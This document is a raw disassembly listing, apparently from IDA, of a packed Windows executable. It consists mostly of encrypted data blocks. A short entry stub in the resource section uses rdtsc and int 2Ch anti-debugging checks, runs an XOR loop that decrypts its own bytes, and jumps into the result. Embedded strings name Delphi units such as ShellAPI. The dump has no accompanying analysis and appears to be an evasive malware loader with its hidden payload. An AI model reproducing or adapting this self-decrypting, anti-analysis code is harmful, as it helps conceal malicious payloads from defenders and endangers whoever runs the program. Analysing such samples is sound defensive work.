		dd 0EF749121h, 8491F02h, 0D37BF99Dh, 0B74632CBh, 7C255D5Eh
		dd 0CDB75732h, 3BEDE4ECh, 11B8D37Ah, 3B10FE8Ah,	592CF61Fh
		dd 0B3196B22h, 40D788E8h, 40CD5EF9h, 9E280AEBh,	0A4B237D4h
		dd 0B28ABE93h, 50B7A01Dh, 68EFBB6Dh, 32315453h,	9773193Ch
		dd 6D4FA44h, 0DA6C7AEAh
		dd 0EB5A8A52h, 2E28ADA9h, 1F4952F4h, 0A7706646h, 1DD44FD2h
		dd 0E7A21916h, 219DA10h, 4563CDEEh, 1B90B939h, 24B0575Ah
		dd 96E3C1CBh, 6A879E0Ah, 88143CD5h, 8AF4DC12h, 0F3BD2795h
		dd 5A05D4ADh, 26514A5Dh, 0A28C971Dh, 634F2298h,	30132265h
		dd 32314878h, 318481E2h, 1852E632h, 0A49055E0h,	0A1808274h
		dd 5945795Eh, 0CC680918h, 87B34C04h, 39C4DA0Ch,	0B30C046Fh
		dd 0B1FC241Bh, 0A300A0C3h, 80D3E16Bh, 45970ACh,	0E9994AEDh
		dd 29E641EFh, 0F8D65EA5h, 0CC0F22C6h, 84000E9Bh, 0D3FC8F08h
		dd 0EC263683h, 0F94C5D96h, 0F7A32EF2h, 0D8F8DCFFh, 0B8CA878Ch
		dd 791FBA20h, 0B18E468Ah, 0F96E7708h, 0A8D9CF7Eh, 72A30518h
		dd 60628F93h, 0D809FF36h, 9F5C0BAFh, 0DBC289D1h, 4278FD9Bh
		dd 56092AE1h, 90866BBh,	0CDCDBFFBh, 78B1C99Bh, 24E365A9h
		dd 0E73B246h, 312920A7h, 6C614332h, 0AA9E56Fh, 864D972Fh
		dd 0E04798DCh, 89C724Ah, 47495CEAh, 0D5DE1387h,	944FD94Fh
		dd 0F961883Ch, 3A1BDC1h, 0DAB19A2Fh, 1E4541F4h,	7D258DFEh
		dd 0D33D69BEh, 26CECF59h, 0D644D61h, 21DC7EB1h,	7FBD3A2Bh
		dd 9F9C7A68h, 86A8C1ABh, 0C2DC19Dh, 292CC7BFh, 0AE1D84Eh
		dd 235FFDC9h, 14AB3C98h, 74D3A833h, 0BC8810F0h,	4DF6622Eh
		dd 0BEAFC04Fh, 3B26DEB0h, 0C638023Fh, 7DFFFFE9h, 0CE0BBEAEh
		dd 0F2E760AEh, 456D6D9Bh, 4666E63h, 807D6481h, 0ED07228Ah
		dd 306B3338h, 0A56EF1D5h, 19913531h, 5DBC3531h,	35F5B455h
		dd 5955ADB4h, 0BC3DA632h, 0BA555575h, 313DCDB6h, 0BC3D1C33h
		dd 313DC9B6h, 0CDB6BA33h, 0BE33313Dh, 313DF5E6h, 0B3CEBE33h
		dd 64333135h, 99719B30h, 31413231h, 32319933h, 32313D51h
		dd 3032319Bh, 313D5EC6h, 0C5B6BA33h, 1933313Dh,	3331328Ah
		dd 0BC91511Ch, 313DCDB6h, 0C5E63033h, 3033313Dh, 35326865h
		dd 68A53055h, 55353235h, 0B4920430h, 6DB439F8h,	0A6323168h
		dd 0D9EEB40Bh, 0A534313Dh, 0DDEEB43Fh, 0A534313Dh, 32231936h
		dd 0A5BE3331h, 9B843568h, 32319971h, 99333141h,	33313312h
		dd 3032319Bh, 313D5EC6h, 0F1B6BA33h, 8C33313Dh,	0C5E63091h
		dd 8733313Dh, 3DF1E630h, 4303331h, 0F1E6BC92h, 0BC33313Dh
		dd 71321CF7h, 0A63269B1h, 69BC712Bh, 3DCDEE34h,	0F1B43331h
		dd 0EDB6BA35h, 1C33313Dh, 0C63087A3h, 33313D56h, 36A6F13Ch
		dd 31331719h, 40F1B633h, 3431DCB5h, 3DE9B6BAh, 0F7BC3331h
		dd 0B6BC5F1Ch, 33313DEDh, 813231BCh, 3DE9E630h,	5F193331h
		dd 0B6333133h, 0B6B540F1h, 38BA3431h, 3DEDB6B4h, 0B4353331h
		dd 0B6BC35F8h, 33313DEDh, 323169B4h, 321CFEA6h,	316FB177h
		dd 772BA632h, 0BC35F1B4h, 0CDEE3469h, 0B433313Dh, 0B6BA35F1h
		dd 33313DEDh, 0A6326FB1h, 323199BAh, 99333171h,	33313312h
		dd 3DF1E630h, 0C6303331h, 33313D62h, 0B1323199h, 319B3331h
		dd 0F1E63032h, 3033313Dh, 313D62C6h, 32319933h,	9B3331B1h
		dd 0E6303231h, 33313DC5h, 3D62C630h, 92193331h,	8D193431h
		dd 92333132h, 2FEBA01Ah, 91F49230h, 3DC1B6BEh, 9B813331h
		dd 32319971h, 30333133h, 313DCDE6h, 66C63033h, 0F833313Dh
		dd 313DC1B6h, 32313233h, 0B6BC3335h, 33313DCDh,	976D7134h
		dd 0B4457134h, 89BC49F1h, 0CDCE343Dh, 0BC33313Dh, 0B6BE3979h
		dd 33313DC1h, 82719B81h, 66C63084h, 9233313Dh, 0E6BC91F4h
		dd 33313DD1h, 0A8A5273Ch, 3DC9EEBCh, 0B6BC3331h, 33313DCDh
		dd 98A5F86Ch, 8F1C2134h, 77BC47BCh, 0D5B6BA35h,	3233313Dh
		dd 313DD5E6h, 0CDCEBC33h, 6433313Dh, 39F7B4FAh,	0E740691Ch
		dd 0A4116D37h, 0F3348145h, 0F234F434h, 0B4553D34h, 695A35F5h
		dd 1C774932h, 37E8404Eh, 5E97F5B7h, 81113231h, 0F434F334h
		dd 3D34F234h, 35F5B455h, 4932695Ah, 6C33F7B4h, 313DD5E6h
		dd 0B4F1A333h, 0A632316Fh, 91F492CEh, 3DD9E6BCh, 0E6343331h
		dd 33313DCDh, 0BEBC2FBCh, 33313DDDh, 3DE1EEB4h,	3131EB6Eh
		dd 1C65A534h, 316FB15Ch, 0B136A519h, 50A61A6Fh,	3277BC31h
		dd 3DE1B66Bh, 0A6333131h, 3231E13Fh, 0B431F940h, 0F8343619h
		dd 31BAF75Ch, 0F7B43277h, 351AB435h, 0B47A7731h, 0A832312Ah
		dd 591C7101h, 73511CCAh, 0D2440D37h, 0F9409F31h, 7F35F35Ch
		dd 0B18539F3h, 91F4920Ch, 31D1E6BCh, 0E6BC39D5h, 343B31CDh
		dd 31BC6DA7h, 3431F1E7h, 60A5273Ch, 533334B3h, 0BC3DF7B4h
		dd 313F3167h, 1C37BC51h, 69B48749h, 0A5323131h,	32319B3Dh
		dd 3032759Bh, 1304F33h,	0BC84318Fh, 0F13C3731h,	0F49215A6h
		dd 557531BEh, 21BC9135h, 353177BCh, 6D39F1F2h, 314FA6B1h
		dd 6639F9F2h, 6EB13431h, 323331B1h, 4DA73231h, 81313C32h
		dd 51196730h, 531C3431h, 304C313Eh, 3E3135A7h, 34533142h
		dd 0C6304531h, 0BA80315Ah, 4D553175h, 3139F392h, 0BC319132h
		dd 0BC55558Dh, 318C34FCh, 0A98CBC6Dh, 0ACBC0A34h, 2A345131h
		dd 45BE2764h, 43BC31E8h, 0F1640234h, 3831F1F2h,	0B1733363h
		dd 3132316Bh, 756C26A6h, 37A55955h, 0A46C7771h,	3511A349h
		dd 8553BA41h, 0B6BE5436h, 815C3149h, 56C63530h,	19993431h
		dd 31A874C4h, 30861981h, 29BC3030h, 99719B71h, 31413231h
		dd 32B9353Bh, 9A313331h, 325EC630h, 0E5B67D71h,	3AB24532h
		dd 3632E630h, 0B1EE53B4h, 39A534A4h, 371CA8B4h,	0C9E63079h
		dd 0BC08ACB2h, 391C4533h, 0B1B17132h, 1C2BA6BAh, 31F73135h
		dd 69B17933h, 2831A68Dh, 40381C71h, 0D1B94FE7h,	0B1717749h
		dd 253E316Fh, 0B4E854B4h, 31A0B271h, 69B4B16Ch,	0B1623D35h
		dd 0F4923133h, 0B41DBC86h, 6431611Dh, 0AEBC71F1h, 3176BA41h
		dd 1576BA1Dh, 0BA1976BAh, 0E9097631h, 31353231h, 3643133h
		dd 343867EAh, 24313231h, 3D76BCDCh, 31BA369Bh, 86BA2976h
		dd 3086B921h, 2586BA31h, 0B43D86BAh, 8A3031F9h,	0BC29A6BCh
		dd 40313D86h, 13F267E7h, 41073C39h, 7A297630h, 1AA63731h
		dd 21A631BCh, 0BC257EBCh, 0B4314186h, 12F23417h, 31FF3435h
		dd 3234316Eh, 0A4BB6DBEh, 86BC4871h, 317EBC29h,	0F231433Dh
		dd 0FB3C3912h, 323911F2h, 7EBA3DF1h, 0BC40BC3Dh, 1CF23109h
		dd 0AE0403Ch, 3D418E6Ah, 719BB440h, 3231EF73h, 33313931h
		dd 1FF2225Ch, 22343136h, 307EE740h, 3135FA9Ah, 645E3132h
		dd 0BC68BA03h, 7341A631h, 3825AEB4h, 3FBD41BEh,	0C2F14D09h
		dd 317EBAF4h, 0D0BD4011h, 7EBC3431h, 7E5C2131h,	39A6BC1Dh
		dd 3DE73140h, 0D7EBA3Fh, 0D319602h, 0BC0DA6BCh,	49B211AEh
		dd 31323117h, 3D52F346h, 0BD75BE63h, 0BA6933C0h, 55B1057Eh
		dd 0BC29398Eh, 4C55B1AEh, 353918F2h, 55B52C3Ch,	3ABC3DAEh
		dd 0F22939BCh, 2A55B120h, 513DAE6Ah, 0F8BC50A4h, 2A5534F0h
		dd 362031F2h, 7EBC2A34h, 3313405h, 6ABA27B6h, 32B3B640h
		dd 5A4AC731h, 0F85C3DAEh, 37F232BCh, 27B6005Ch,	3105AEBCh
		dd 85BE40BAh, 98A53243h, 332BB275h, 0A4BD404Fh,	331CB131h
		dd 0BC513292h, 6DBE117Eh, 4F3188C2h, 73F28031h,	0FF73F267h
		dd 352173FAh, 4F311FF2h, 3DA66A22h, 0BC4539A4h,	0BA737BF7h
		dd 31033468h, 0A65A431Ch, 0BCF75C3Dh, 5C3572CAh, 0F54B74FFh
		dd 0F3D0AD4Ah, 43B1468Fh, 35793121h, 45B99C31h,	3AAE3162h
		dd 312596B4h, 9A811A32h, 7130302Fh, 34F13B36h, 3425419Eh
		dd 34B28B1Ah, 3537259Eh, 3331821Ah, 0BC3D8E5Ah,	1BF23102h
		dd 0BCFB5C36h, 5C352586h
		dd 0BA4512F4h, 417EBC40h, 0C2C5BE31h, 31343231h, 46F18633h
		dd 7046F4AEh, 0F80046F2h, 1A3E3B46h, 551D7455h,	7EBC65D2h
		dd 7E31BA19h, 157EBC09h, 31197EBAh, 0BA1D7EBCh,	157EBA6Bh
		dd 7337AE35h, 0F8381C43h, 34732576h, 0B2416712h, 6CD1F9F2h
		dd 0B11A5F1Ah, 335ABA49h, 7AD43B42h, 0BBBDEDBEh, 0E7427461h
		dd 1BF20179h, 2354271h,	0B483B16Ah, 0EC3431D2h,	0A429452h
		dd 11361CF2h, 79257EAAh, 1140F2B4h, 0F150BA82h,	0FF37348Eh
		dd 62B15771h, 0C06DBEF3h, 0F14A17A4h, 0BC89713Ah, 0F63C51F3h
		dd 153BA13Bh, 5CD26EA4h, 3BD4EBF3h, 0B31156F2h,	4D92FA3Bh
		dd 394391BAh, 11F2CE40h, 3A3A7DBEh, 1346B1BAh, 3161B181h
		dd 0B93B3DBBh, 3DB9307Eh, 1D1A6341h, 865DB12Dh,	0F3335C3Dh
		dd 40BA5DF5h, 3431111Ah, 93335A44h, 0F2418674h,	0C5BE255Fh
		dd 0F091BB5Dh, 465FD65Fh, 0BA1584DFh, 0AB1C6BB9h, 0BBC55927h
		dd 0E63CD0C1h, 0B1193CC8h, 3CBA483Ch, 71863C31h, 0BA09316Ch
		dd 86BC0986h, 91C2BA15h, 0BA1D8632h, 1D7E3231h,	313254D4h
		dd 12B47A54h, 3CF2B42Eh, 915493A4h, 0B445016Eh,	724194A2h
		dd 72B670B9h, 419508B9h, 42BC3D86h, 2B5B4195h, 974E4192h
		dd 41922B41h, 1731F22Bh, 0D96B436h, 0B1BA3231h,	627DBE6Ah
		dd 0B48F1C39h, 34925A42h, 4E53085Ch, 823C4842h,	3C5A3635h
		dd 0BA3C605Ch, 0BDBE35AAh, 33396231h, 76F83331h, 3139710Dh
		dd 1176F834h, 431C8571h, 0BC3DB154h, 79F7223h, 0BAF1F85Ch
		dd 0F2B23582h, 71B97139h, 73413735h, 0BC363135h, 0C641186h
		dd 586BAA1h, 0BB4C5574h, 454138D4h, 0AD35CA9Bh,	46AD3223h
		dd 3C92AD37h, 0BA233134h, 0C34CA65h, 5434441Ch,	0BA3EF4ADh
		dd 8DBECA45h, 3032714Ch, 0D6A6057Eh, 3164B8B1h,	23BC7303h
		dd 7EBC1704h, 0FF5C0D51h, 0ADF20A34h, 1418EBAh,	51C5BE40h
		dd 2576B498h, 2CB43831h, 0BC35AE35h, 341C81FCh,	0E411349Bh
		dd 0BE6C7141h, 0F13FED41h, 5467237h, 34173137h,	0C0A24498h
		dd 78FAC83Dh, 78F53AE8h, 1C865CDh, 53AE578h, 12C83D78h
		dd 3AE33278h, 0B4711BB4h, 41BC352Bh, 9BD402Bh, 2FB41F1h
		dd 18B4312Ah, 0B47A32h,	2B33B433h, 0AE1D89E1h, 0BC180443h
		dd 76220033h, 0BBCDBE41h, 0B14E3BEDh, 0B281779Dh, 43E943F0h
		dd 31341902h, 3D766A30h, 765A37A3h, 0B43D31h, 1A67A32h
		dd 418E51BCh, 0C1B9F4B2h, 3118F273h, 1D76F835h,	64343135h
		dd 0BA72FA11h, 8FF1118Eh, 488B35D0h, 4890BC77h,	34BC488Ah
		dd 0A68D91FAh, 8EBC3D41h, 3C48B711h, 0BA590DAEh, 6E61BC45h
		dd 3095B132h, 0A61D317Eh, 0AEBA78CDh, 5F41A51Dh, 41018EBCh
		dd 5C746Fh, 7E347471h, 7242BB39h, 3975AE72h, 726F117Ch
		dd 88530CB6h, 1AA65168h, 4129241Ah, 311DAEB0h, 76BC061Ch
		dd 3DF3FA21h, 223E3131h, 323133E8h, 3171322Fh, 0A3969C46h
		dd 319D969Fh, 955F6364h, 32319D9Dh, 0A1E94785h,	31725532h
		dd 73317265h, 80317236h, 7D383171h, 319592A0h, 0A3939A7Dh
		dd 72AAA392h, 78333131h, 0A381A596h, 729431A0h,	96A39595h
		dd 3131A4A4h, 0A39A8733h, 7192A6A5h, 9D9D729Dh,	310794A0h
		dd 96A34977h, 1131F796h, 9496A533h, 3431A569h, 5A11B841h
		dd 3335C111h, 713731D1h, 5C413F31h, 61310191h, 41453136h
		dd 32015F81h, 0A156B727h, 3251A131h, 31B1B802h,	313132B1h
		dd 0F7C55737h, 31D663F5h, 8887EA16h, 25FD9479h,	48B4B331h
		dd 0FF302854h, 0B09831ABh, 0C157EF0Eh, 0AD31EAA1h, 90FBB25Fh
		dd 31A5EEF1h, 0BD09C330h, 0A9947A9Dh, 0BA136731h, 0B41E1E77h
		dd 9E923186h, 71C44749h, 623159C2h, 69C6E4CEh, 3140BBFBh
		dd 7BC187E2h, 8CCF4771h, 0A8969831h, 0A1A512D8h, 0FC0A315Fh
		dd 0A18DCC93h, 613154BCh, 0C8914801h, 318D4A41h, 0EBEAACB1h
		dd 0A4D5903h, 0A581031h, 88FEE3DCh, 30533199h, 0B680DC0Ch
		dd 431301Dh, 5B2AC27Fh,	311F1DC7h, 0B4146544h, 94B1B145h
		dd 0CC426031h, 0E42AA938h, 24693176h, 5CFE13EEh, 0D3311B64h
		dd 4F0E2953h, 31F29140h, 0E2634E48h, 0F81D2EE9h, 44445A31h
		dd 3DA39BDDh, 8ABD3197h, 96A1D6ADh, 0C31E0E1h, 0CFB6D695h
		dd 31FCBF4Fh, 0E3A46F5Eh, 22E52FCAh, 0D5621F31h, 0A55C2BA5h
		dd 61BB31EBh, 294DA900h, 48312823h, 0FF564085h,	315A1119h
		dd 453D1A3Bh, 84C5503Ah, 0E606D031h, 0A526E6E7h, 0BC0531D7h
		dd 9372814Bh, 0FC31A85Ch, 0FF3564ACh, 31807865h, 0CAB38B71h
		dd 0BF53726Fh, 40FD7331h, 0CC0DF4B9h, 0EF8131C1h, 54BDDF07h
		dd 0A53114F4h, 61F66E9Eh, 31ED3C24h, 5186C50Bh,	0D26D536Dh
		dd 0ED9A2731h, 0ACA93290h, 3E5A3137h, 0CA80DC07h, 0BE31A8A2h
		dd 1E1CA925h, 31565C9Ch, 0AB3CA78Eh, 6CDFD676h,	938D4731h
		dd 0B5F48497h, 4719314Fh, 1644685Ch, 0D231EA2Ch, 0B6C5A252h
		dd 31999761h, 54960754h, 0FB483FCCh, 0BE781831h, 34DA0AB4h
		dd 0A9BC314Bh, 4001C47h, 233115B0h, 0CEEA22Eh, 31BC1E66h
		dd 3F2E3FBDh, 0F681487Ah, 0D05ACF31h, 0B4E4D87Ch, 3ADD3147h
		dd 0A368E60Bh, 92317134h, 0CCEAFF2Eh, 31B7DA4Ah, 247ABC6h
		dd 2DF0D55Ah, 18B9F131h, 0E01438F0h, 0BBDA31FCh, 3E720DF5h
		dd 0D631CDB9h, 0CD568DCFh, 31030506h, 15C09EEEh, 652D611Ah
		dd 36B57F31h, 8B3DE3DAh, 6C6F31C5h, 0A80C64BBh,	4D31D3FFh
		dd 0B4F5E898h, 310F195Dh, 1A3CB4E1h, 0D4899A65h, 5E6C2731h
		dd 5103F24Ah, 0ADCD315Fh, 0C454E90Fh, 85311438h, 0AE6A64D6h
		dd 314012B6h, 49191651h, 71C7CCB3h, 0D910F831h,	19B680B8h
		dd 2873120h, 1F7C42EEh,	703192DFh, 91AF937Bh, 31F1AEA4h
		dd 1B8DEAEEh, 5AC33231h, 0AFD94F31h, 0A2F09F25h, 5AA53106h
		dd 0DBC5DFBBh, 4D3185D0h, 979A0B2Ah, 316B6030h,	2A617ADCh
		dd 24C3246Eh, 0D13DED31h, 0AFEFE5F9h, 0B6093184h, 91C65F0Eh
		dd 0E1317760h, 82453449h, 316D5E34h, 204625E7h,	1F53EDDCh
		dd 31228031h, 6D8FC132h, 0DC9A312Ch, 5BC1E2EEh,	0EE31C42Ch
		dd 580E2FDEh, 31E32230h, 35316954h, 384F3D26h, 0B83782C2h
		dd 34224F3h, 833A9B17h,	40h dup(0)
		dd 50000100h, 0CC000001h, 0
		dd 9, 704FDF01h, 74536E65h, 10006275h, 7379539Dh, 736E6F43h
		dd 0C7000074h, 74737953h, 6D65h, 73795381h, 74696E49h
		dd 54551000h, 73657079h, 72D50000h, 6F437465h, 6572706Dh
		dd 0C007373h, 6E69574Bh, 73776F64h, 53020000h, 74557379h
		dd 736C69h, 68532A0Ch, 416C6C65h, 4950h
aPaddingxxpaddi	db 'PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP'
		db 'ADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPA'
		db 'DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD'
		db 'DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD'
		db 'INGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDI'
		db 'NGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDIN'
		db 'GXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDING'
		db 'XXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD',0
		align 4
		dd 1FFFh dup(0)
		assume ds:CODE

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		nop
		call	loc_422A2D
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_422A06	proc near		; CODE XREF: .rsrc:00422A7Dp
		push	ebx
		mov	ecx, 0CBFh
		mov	ebx, edx


loc_422A0E:				; CODE XREF: sub_422A06+13j
		xor	[eax], dx
		lea	edx, [ebx+edx]
		xchg	dl, dh
		lea	eax, [eax+2]
		loop	loc_422A0E
		pop	ebx
		retn
sub_422A06	endp

; ---------------------------------------------------------------------------


loc_422A1D:				; CODE XREF: .rsrc:00422A68j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		sbb	al, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_422A21	proc near		; CODE XREF: .rsrc:loc_422A47p
					; .rsrc:00422A4Dp
		rdtsc
		retn
sub_422A21	endp

; ---------------------------------------------------------------------------


loc_422A24:				; CODE XREF: .rsrc:00422A35j
					; .rsrc:00422A3Fj ...
		mov	eax, 1000h
		xor	ecx, ecx
		jmp	short loc_422A52
; ---------------------------------------------------------------------------


loc_422A2D:				; CODE XREF: start+1p .rsrc:00422A88j
		test	eax, eax
		jnz	short loc_422A39
		int	2Ch		; Internal routine for MSDOS (IRET)
		test	eax, eax
		jns	short loc_422A24
		jmp	short loc_422A47
; ---------------------------------------------------------------------------


loc_422A39:				; CODE XREF: .rsrc:00422A2Fj
		mov	dx, cs
		shl	ebx, 0Ah
		js	short loc_422A24
		jnb	short loc_422A24
		cmp	dh, bh
		jz	short loc_422A24


loc_422A47:				; CODE XREF: .rsrc:00422A37j
		call	sub_422A21
		xchg	eax, ecx
		call	sub_422A21


loc_422A52:				; CODE XREF: .rsrc:00422A2Bj
		neg	ecx
		push	ebp
		add	eax, ecx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 1AE96h
		sub	eax, 100h
		jnb	short loc_422A1D
		sub	ebp, 301006h
		lea	eax, [ebp+301082h]
		mov	dx, [eax-63h]
		call	sub_422A06
		div	edx
		outsd
		db	64h
		invd
		jnb	short near ptr loc_422A2D+1
		cmp	bh, dh
		jmp	fword ptr [ecx+29359D2Eh]
; ---------------------------------------------------------------------------
		dw 5E0Ch
		dd 388FF314h, 0AD72803Ah, 68C305C9h, 1A96C8CDh,	0FB86BED9h
		dd 0C21A028h, 7FBB9750h, 99BA55D3h, 0CC95818Ah,	54EA84FEh
		dd 9E19A75Bh, 0FA01F348h, 90873ECAh, 0EC60A3F0h, 0F1DB35BBh
		dd 0F794047h, 9D72D805h, 28546FE4h, 4207371Ah, 30031F64h
		dd 3D0CFE73h, 938F9A36h, 0E74C5701h, 4C82BFE5h,	8ABB2C6Eh
		dd 0EA87D27Ch, 0C3A681EFh, 0DA8598DDh, 91EEBDD2h, 5475DC4Ah
		dd 0E03A32C1h, 0EE182A3Ah, 934A77E0h, 6B7D279Dh, 7D283592h
		dd 0F0AD330Ah, 1E61EB91h, 60867C16h, 0D57C8A30h, 0B80E9782h
		dd 3C6759AEh, 50AF21A1h, 4831C25Ch, 95225575h, 153DE88h
		dd 0B2EEF9EEh, 0BC4979A4h, 0CFFA38A6h, 0CB88B341h, 0BB1624E0h
		dd 0E859B718h, 813240DCh, 2668424Fh, 97E5D308h,	15E5C03h
		dd 5DD1F7EDh, 0FF7AB818h, 588E7E63h, 0EAC9A44Eh, 48B183E1h
		dd 9CC7C16Ah, 13FCE12h,	0A2FEF6D7h, 0A29C5D9Bh,	0ABDB755Ch
		dd 48710681h, 0DC3601F2h, 4F972525h, 0F81225EEh, 67A4C1EAh
		dd 0D5407DD2h, 0A64143EEh, 305C6AC0h, 547E3FA9h, 24BB8570h
		dd 5286843Eh, 428127C5h, 0F5CAB06Ah, 0EEB0BE36h, 332B3376h
		dd 25CCEAAEh, 0E95EE752h, 2BE8F6A3h, 0DBF6B122h, 358F128Eh
		dd 0E8158175h, 0F6CDAFDAh, 892F0CF8h, 222FB663h, 0DFE9A904h
		dd 0EB6EBF0h, 34028AABh, 0C72F441Dh, 689E09A9h,	0ED39534Ah
		dd 64F727A4h, 0D5B2FB98h, 91BCC91Ch, 8B5F2782h,	2FD8D6BAh
		dd 7A63D45Ah, 0CB0C86A2h, 0B29510BCh, 8E1174CAh, 741E28D8h
		dd 32D3A8Eh, 5A9B6F4h, 9B4A6828h, 0F7DC69D0h, 5066741Ch
		dd 481CD22Ch, 3C82943Ah, 68785F48h, 229FC601h, 81ACBB0Ch
		dd 9B2F3772h, 0F4C8E6AAh, 0AAD7E484h, 92F16763h, 0C21A009Bh
		dd 3F000EBAh, 0E40E1E62h, 11452ABCh, 0FF2152EEh, 3E10DE67h
		dd 0DFB9BD00h, 6FD98Dh,	3764722Ch, 46700DAEh, 54866638h
		dd 36C09C46h, 70D0E610h, 54FB2D9Dh, 3935C640h, 9AF6C3D4h
		dd 15592BBFh, 0B6D2DA33h, 2C63F319h, 0D3FE0E73h, 0C8D5A745h
		dd 0FF1A28E4h, 0FE2A6F66h, 0A1B2CFF0h, 0E54663D4h, 0ADDB637Ch
		dd 36525977h, 6D1DC3A9h, 0AD818C06h, 0E7839A44h, 6E9AAA68h
		dd 566933EBh, 0FA49C45Eh, 22415D7Dh, 27D2D0A3h,	84C95425h
		dd 0C21103A6h, 0CA7B05B5h, 6B0A18C6h, 0DE329757h, 0FD56CBE0h
		dd 23F4C761h, 0A5C551CCh, 266249CBh, 346091E7h,	4392FB29h
		dd 0DDF78A34h, 5EBAB2F7h, 1D67BFB3h, 0B4233B5Fh, 9B4F245h
		dd 0A6EB1EC7h, 0A42F2188h, 6959E396h, 28ECFAA5h, 0CFFA0955h
		dd 0F527AB4Fh, 239D24E0h, 23D232B4h, 8B373013h,	56284C1Bh
		dd 4E07A70Bh, 0BF460616h, 7079ED91h, 4E663132h,	58059640h
		dd 95695A03h, 0F50FD4A3h, 86B28D6Eh, 3FA6CE78h,	9CA9B0Bh
		dd 0D6700EA6h, 35111A09h, 0A5F86C65h, 0DC064A43h, 0EA7EEE45h
		dd 0F848F457h, 6313E82h, 450027F0h, 72403654h, 1AE5FFEBh
		dd 0BD327812h, 0CF10C6F4h, 0D1869460h, 0E394C898h, 1CA6DA96h
		dd 0D6B2D468h, 11D6CC1Ch, 0CACCDADAh, 51B0B992h, 17D09F0h
		dd 94F63485h, 0D5FB97E7h, 0E8131D48h, 0F695A3DAh, 0BD2F0CF8h
		dd 123E4C57h, 85BFB58Fh, 3E5A8593h, 0B9E57610h,	4A469028h
		dd 0CD0972C3h, 66A2B974h, 535510Ah, 6AAE8C4Ch, 90BCCA62h
		dd 0F5A5B7CEh, 0DE8896E5h, 0D68F82F7h, 9F9165C8h, 0BD777CDDh
		dd 19401E8Bh, 0C434214Dh, 13A8B3E6h, 403C79DEh,	746A3256h
		dd 0E9CD99EFh, 0BF664434h, 7701DDECh, 80FAACh, 0E44151Eh
		dd 6376FE57h, 0D3ACBA64h, 0ECDF8C17h, 0EE98B1F5h, 0C6BF92E7h
		dd 0B88195F9h, 0D667FFFDh, 5D003E90h, 0B2584A0Ch, 0D4B7C86h
		dd 30019171h, 1EFEC4F2h, 1DDDA957h, 40565424h, 0C766181Ch
		dd 7658B9BFh, 55A83738h, 49199C46h, 549023B5h, 0EB55EF36h
		dd 8C88ECF1h, 3F45224Dh, 0A8E4C991h, 49B5A49Ah,	0F4DA7B3Dh
		dd 0A73E89B7h, 1C8F5C9Ah, 0FF45AD0h, 94201296h,	0F31D2EF0h
		dd 2A6C2E6Bh, 5C94E70Ch, 0D78AE3C6h, 77707E2Ch,	629D1DFFh
		dd 4B911F7Dh, 46EFA862h, 6C6477E1h, 0DEE6C46Eh,	0C895842Ch
		dd 332DB3DAh, 0B4D0C4A9h, 0B6B73C23h, 0F588F5BAh, 0FD8F97CCh
		dd 61816F9h, 3D9C98Ch, 0BA0BDBDh, 0F34461D6h, 0E96E192h
		dd 63606E19h, 686FE9D9h, 0C5838A04h, 5EBAB243h,	93624AB9h
		dd 7AA6B4A1h, 0BBEEC26Ch, 0C79381B3h, 0A4D1B6D9h, 7655EC92h
		dd 0CC86AAF5h, 0CA8CC38h, 8A7E7394h, 13F6CCD0h,	6FA9CD21h
		dd 80355A0h, 46131EA8h,	0E55CBF7h, 0F6DD6C26h, 0BFE7B904h
		dd 4E22D06Ah, 5C8888C3h, 6A96B4C0h, 78A4B25Dh, 86B2C06Ah
		dd 94C0CE78h, 5D9D8AD7h, 80F6E701h, 12B353A2h, 368DC635h
		dd 80C5FA22h, 8F67438Ch, 9D4F5192h, 6C53718Eh, 67342E9Dh
		dd 412B0F5Ah, 42353C60h, 526A0D56h, 2F0AF243h, 3686E05Fh
		dd 4E6D63Fh, 35A2DE3Fh,	0F0D1DB1Ah, 0FED78A13h,	0E3CC9BE1h
		dd 0DABB8DE0h, 0D081B0C5h, 0BB9749CAh, 0BD6A7BCEh, 9A51208Dh
		dd 93544FBFh, 67404EB8h, 534D3893h, 453E1904h, 7C3F1C73h
		dd 48071B45h, 381ED04Bh, 58E0F359h, 7F7D209h, 1CF4CB2Ch
		dd 0E6CFD914h, 0F5CE8974h, 0CAAFACE3h, 0C4B489FFh, 899698FBh
		dd 0A89A519Fh, 0B76A63CCh, 9E551EBEh, 9C4A58B1h, 664C5F94h
		dd 64590EF4h, 7B263144h, 5E2C1251h, 4E131677h, 4835F149h
		dd 10F6F57Dh, 37F5F221h, 72FBD63Fh, 0C6D8DF23h,	0DADFA41Bh
		dd 9CADBBE9h, 0E7A281C9h, 0D49196F3h, 0AB9B46CEh, 0BB6140DFh
		dd 0A30E5DADh, 9D515EB3h, 65474D80h, 6A5426BAh,	1C09336Ch
		dd 79220149h, 5D100165h, 341BC447h, 3BF4ED5Dh, 62CFE534h
		dd 24E8CF13h, 38DAD507h, 0C2DDAA19h, 0DBA3B91Fh, 0DCB1A58Ch
		dd 0C68F95CEh, 0AC849FF8h, 0B6B90CF6h, 90694CB2h, 9E7541A7h
		dd 8A4D71E2h, 7F4521A6h, 5F283C97h, 6F542374h, 5934047Fh
		dd 211D0B44h, 3D18E27Fh, 14EDF736h, 2FF4C73Bh, 13C4F160h
		dd 0CBDAA50Ch, 0FBABBE10h, 0C7BDAC8Ah, 0D689A2FCh, 0BB9C9DD4h
		dd 0B0B10AF4h, 85634EB4h, 0A87E69A5h, 0FC435889h, 645032A1h
		dd 7D2838BAh, 56220147h, 75070071h, 271E3326h, 3F0EDA5Ah
		dd 2DF9FD21h, 3EAF650h,	9D5D13Dh, 0E1F2F05Fh, 96B6A308h
